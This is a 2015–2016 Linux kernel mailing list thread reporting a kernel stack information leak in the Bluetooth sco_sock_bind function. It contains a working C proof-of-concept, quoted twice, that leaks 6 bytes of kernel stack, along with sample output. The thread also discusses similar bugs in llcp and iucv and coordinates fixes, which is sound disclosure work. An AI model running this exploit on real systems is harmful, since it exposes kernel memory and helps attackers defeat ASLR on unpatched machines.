Hi Dmitry,
thx for mentioning iucv_sock_bind here. I will provide the equivalent
fix and add your name as "Reported-by" - if you do not object.
Regards, Ursula Braun
----- Forwarded by Ursula Braun1/Germany/IBM on 15/01/2016 09:18 -----
From: Dmitry Vyukov <[email protected]>
To: Marcel Holtmann <[email protected]>, Gustavo Padovan
<[email protected]>, Johan Hedberg <[email protected]>, "David
S. Miller" <[email protected]>, [email protected],
netdev <[email protected]>, LKML <[email protected]>,
syzkaller <[email protected]>, Kostya Serebryany
<[email protected]>, Alexander Potapenko <[email protected]>, Sasha Levin
<[email protected]>, Eric Dumazet <[email protected]>, Kees Cook
<[email protected]>, Hannes Frederic Sowa
<[email protected]>, Ursula Braun1/Germany/IBM@IBMDE,
[email protected], Lauro Ramos Venancio
<[email protected]>, Aloisio Almeida Jr
<[email protected]>, Samuel Ortiz <[email protected]>,
Date: 15/12/2015 21:02
Subject: Information leak in sco_sock_bind
Hello,
The following program leads to leak of 6 bytes from kernel stack:
#include <sys/types.h>
#include <sys/socket.h>
#include <linux/in.h>
#include <linux/in6.h>
#include <linux/socket.h>
#include <linux/if.h>
#include <errno.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>
struct sockaddr_sco {
sa_family_t sco_family;
char sco_bdaddr[6];
};
#define BTPROTO_SCO 2
int main(void)
{
struct sockaddr sa;
struct sockaddr_sco sco_sa;
unsigned len, i, try;
int fd;
for (try = 0; try < 3; try++) {
fd = socket(AF_BLUETOOTH, SOCK_SEQPACKET, BTPROTO_SCO);
if (fd == -1)
return;
switch (try) {
case 0:
break;
case 1:
sched_yield();
break;
case 2:
open("/dev/null", O_RDONLY);
}
memset(&sco_sa, 0, sizeof(sco_sa));
sco_sa.sco_family = AF_BLUETOOTH;
bind(fd, &sco_sa, 2);
len = sizeof(sa);
getsockname(fd, &sa, &len);
for (i = 0; i < len; i++)
printf("%02x", ((unsigned char*)&sa)[i]);
printf("\n");
}
return 0;
}
Output:
1f00333e0088ffff
1f00c13e0088ffff
1f002081ffffffff
The problem is that sco_sock_bind does not check sockaddr_len passed
in, so it copies stack garbage from stack into the socket. This can
defeat ASLR, leak crypto keys, etc.
We've just fixed a similar issue in pptp_bind. The similar issue is in
llcp_sock_bind and llcp_raw_sock_bind. And there seems to be the same
bug in iucv_sock_bind, it is S390 specific, so I can't test it.
Kees proposed to zero unused part of sockaddr in SyS_bind/SyS_connect,
or add addr size to proto struct to prevent all such existing and
future bugs.
On Fri, Jan 15, 2016 at 9:25 AM, Ursula Braun <[email protected]> wrote:
> Hi Dmitry,
>
> thx for mentioning iucv_sock_bind here. I will provide the equivalent
> fix and add your name as "Reported-by" - if you do not object.
I do not object.
> Regards, Ursula Braun
>
> ----- Forwarded by Ursula Braun1/Germany/IBM on 15/01/2016 09:18 -----
>
> From: Dmitry Vyukov <[email protected]>
> To: Marcel Holtmann <[email protected]>, Gustavo Padovan
> <[email protected]>, Johan Hedberg <[email protected]>, "David
> S. Miller" <[email protected]>, [email protected],
> netdev <[email protected]>, LKML <[email protected]>,
> syzkaller <[email protected]>, Kostya Serebryany
> <[email protected]>, Alexander Potapenko <[email protected]>, Sasha Levin
> <[email protected]>, Eric Dumazet <[email protected]>, Kees Cook
> <[email protected]>, Hannes Frederic Sowa
> <[email protected]>, Ursula Braun1/Germany/IBM@IBMDE,
> [email protected], Lauro Ramos Venancio
> <[email protected]>, Aloisio Almeida Jr
> <[email protected]>, Samuel Ortiz <[email protected]>,
> Date: 15/12/2015 21:02
> Subject: Information leak in sco_sock_bind
>
> Hello,
>
> The following program leads to leak of 6 bytes from kernel stack:
>
> #include <sys/types.h>
> #include <sys/socket.h>
> #include <linux/in.h>
> #include <linux/in6.h>
> #include <linux/socket.h>
> #include <linux/if.h>
> #include <errno.h>
> #include <stdio.h>
> #include <string.h>
> #include <unistd.h>
> #include <sys/stat.h>
> #include <fcntl.h>
>
> struct sockaddr_sco {
> sa_family_t sco_family;
> char sco_bdaddr[6];
> };
>
> #define BTPROTO_SCO 2
>
> int main(void)
> {
> struct sockaddr sa;
> struct sockaddr_sco sco_sa;
> unsigned len, i, try;
> int fd;
>
> for (try = 0; try < 3; try++) {
> fd = socket(AF_BLUETOOTH, SOCK_SEQPACKET, BTPROTO_SCO);
> if (fd == -1)
> return;
> switch (try) {
> case 0:
> break;
> case 1:
> sched_yield();
> break;
> case 2:
> open("/dev/null", O_RDONLY);
> }
> memset(&sco_sa, 0, sizeof(sco_sa));
> sco_sa.sco_family = AF_BLUETOOTH;
> bind(fd, &sco_sa, 2);
> len = sizeof(sa);
> getsockname(fd, &sa, &len);
> for (i = 0; i < len; i++)
> printf("%02x", ((unsigned char*)&sa)[i]);
> printf("\n");
> }
> return 0;
> }
>
> Output:
> 1f00333e0088ffff
> 1f00c13e0088ffff
> 1f002081ffffffff
>
> The problem is that sco_sock_bind does not check sockaddr_len passed
> in, so it copies stack garbage from stack into the socket. This can
> defeat ASLR, leak crypto keys, etc.
> We've just fixed a similar issue in pptp_bind. The similar issue is in
> llcp_sock_bind and llcp_raw_sock_bind. And there seems to be the same
> bug in iucv_sock_bind, it is S390 specific, so I can't test it.
>
> Kees proposed to zero unused part of sockaddr in SyS_bind/SyS_connect,
> or add addr size to proto struct to prevent all such existing and
> future bugs.
>
>
>
>
> --
> You received this message because you are subscribed to the Google Groups "syzkaller" group.
> To unsubscribe from this group and stop receiving emails from it, send an email to [email protected].
> For more options, visit https://groups.google.com/d/optout.